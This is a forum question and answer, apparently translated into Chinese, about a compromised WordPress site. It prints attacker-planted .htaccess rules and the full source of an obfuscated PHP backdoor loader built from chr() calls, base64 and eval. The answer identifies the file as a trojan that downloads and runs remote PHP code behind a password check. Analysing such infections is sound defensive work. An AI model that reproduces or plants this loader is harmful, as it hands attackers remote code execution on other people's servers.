我在 cpanel 的文件管理器中的不同 WordPress 网站上出现了一个奇怪的 php 文件

Question

我有一个类似于这里未回答的主题中所说的问题：

我的所有 WordPress 子文件夹中都有一个不需要的 .htaccess 文件，其中包含“Order Allow,Deny”

这里有一些：

管理链接显示 404 WordPress

这意味着我在 Cpanel 文件管理器的不同 WordPress 文件夹中发现了不同的不需要的 htaccess 文件（或者更确切地说，我不记得放在那里的文件）。我不知道它是否相关，但是当我访问不同网站的 wp-admin 时，我无法从仪表板访问插件界面或媒体，因为我收到 404 未找到。有些文件的写法类似于“htaccess.ht”或“htaccess.bk”，看起来像这样：

RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

或者像这样：

<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected|php7|php8|pHP7|PHP7|php58)$"\>
Order allow,deny
Deny from all
</FilesMatch>

<FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"\>

Order allow,deny
Allow from all

</FilesMatch>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

看起来并没有太大的威胁，但它仍然引出了一个问题......

更奇怪的是，到处都出现了不同名称的不同 php 文件，但里面的代码总是相同的 :

<?php 
$co = chr(155-36-15).chr(87+29).chr(63+46).chr(76+13+19).chr(66-33+82).chr(74-36+74).chr(27+40+34).chr(105-8+2).chr(11+35+59).chr(99-3+1).chr(76+13+19).chr(105-8+2).chr(155-36-15).chr(99-3+1).chr(53+36+25).chr(66-33+82).chr(23+72).chr(28+53+19).chr(27+40+34).chr(105-8+2).chr(54+22+35).chr(28+53+19).chr(27+40+34); 

$na = chr(59+39).chr(99-3+1).chr(66-33+82).chr(27+40+34).chr(26+28).chr(17+35).chr(23+72).chr(28+53+19).chr(27+40+34).chr(105-8+2).chr(54+22+35).chr(28+53+19).chr(27+40+34); 

$ro = chr(4+97+16).chr(53+36+25).chr(76+13+19).chr(28+53+19).chr(27+40+34).chr(105-8+2).chr(54+22+35).chr(28+53+19).chr(27+40+34); 

$AmInE = "ZX\132hbCU\x79OCU\x79\116\x79U\x7a\122\x69U\x79\116\x6dd0\112\124\116C\112\124I3\114\x6dd6dW5jb21\x77c\x6d\126\x7ac\x79U\x79OGd6aW5\x6dbG\1060\132SU\x79OG\112hc2U2\116\1069\x6b\132W\116v\132GUlMjh\x7ad\110\112\x79\132XYlMj\x67lMj\122\102bWl\x75\132U\122\x75c\x79U\x79OSU\x79OSU\x79OSU\x79OSU\x79OSU\x7aQ\x67\x3d\x3d"; 

$AmineDns = "=UvmLf1PNqJF8Isk5oJJuCJbUnKE6V8MRlbdTH+LGS1rsNXfL7l+n7Z/zCc/0x76Pb1S4Q1gnj2KXGz/67Id57kEDyc1UpM29Srl73G1iNKDVNmu7vb7KPTX1aFGuy1qdMbXq2KT3Mvry4TdSwScm1FI4ybP1C1NMqU4iVsCWrvML+PbemQVOpQ5WlDCgHIEr7ZEbVBmpjAGy7IQXGT8XiUlC2q8XcDgRViOGxnYZuAk7ADk8C+gCMl7PC9uHb3PKh96n88SVENqonNW/EHNrC2Rq4wrfCiJY+UaAYFm0ug+o/MgNITG3hZaGicIMZr7WoQqam/s1YOlD3L5CMdMzq7gaQmvzeW6AMZB2zDB0OM+AY6CnGgqi5C6RwUJSe3WqQmkntsbUehG418D7s3O7MTO4RQkO9O8RKn0UrwQAKXgmSDatIGpPsqaE4CpJi0II1ktawUF8DBUC702QVFn45PoB8VA";/*2e3300cd40ea092e5eeb579abe01e85a*/ 

eval($co($ro($na($AmInE)))); 
exit; 
?>

当我 UnPhp 它时它给我以下信息

到目前为止：

• 我尝试使用 WP_DEBUG 但没有收到任何与 404 错误相关的消息...
• 我无法添加插件来搜索错误，因为……当尝试进入“添加插件”菜单时，我收到了 404。
• 我尝试删除不需要的 htaccess 文件并通过进入“工具”>“永久链接”>“保存”创建一个新文件。
• 在error_log中，我多次尝试wp_privacy_delete_old_export_files函数，但无法发送..
• 我尝试更新所有内容并重新安装 WordPress 的最新版本，但我也遇到了错误
• 我已经检查了 wp-config 文件、plugin-install.php 文件...但没有发现任何异常...最糟糕的是，我所有的插件都工作得很好，我只是...无法到达任何仪表板并且没有任何效果。 ..

我的问题是：我应该担心吗？如果是 Mod_rewrite 问题，我已经联系了 Cpanel 的支持，一切都应该得到修复。但是，如果有人可以向我提供有关该问题的任何信息，那就太好了！

感谢您花时间阅读

Answer 1

您发布的文件最终将使用

curl_init

的内容调用

base64_decode($_GET['u'])

，使用

curl_setopt

和“CURLOPT_RETURNTRANSFER”，然后如果

curl_exec

的内容和

$_GET['pw']='A4E6EFC1125C4B651B389FC255259EE0'

结果则调用

eval

卷曲会话。

所以它是一个特洛伊木马，旨在连接到服务器，从那里下载文件并执行其内容，这使得攻击者能够完全远程执行您计算机上的任何 PHP 脚本。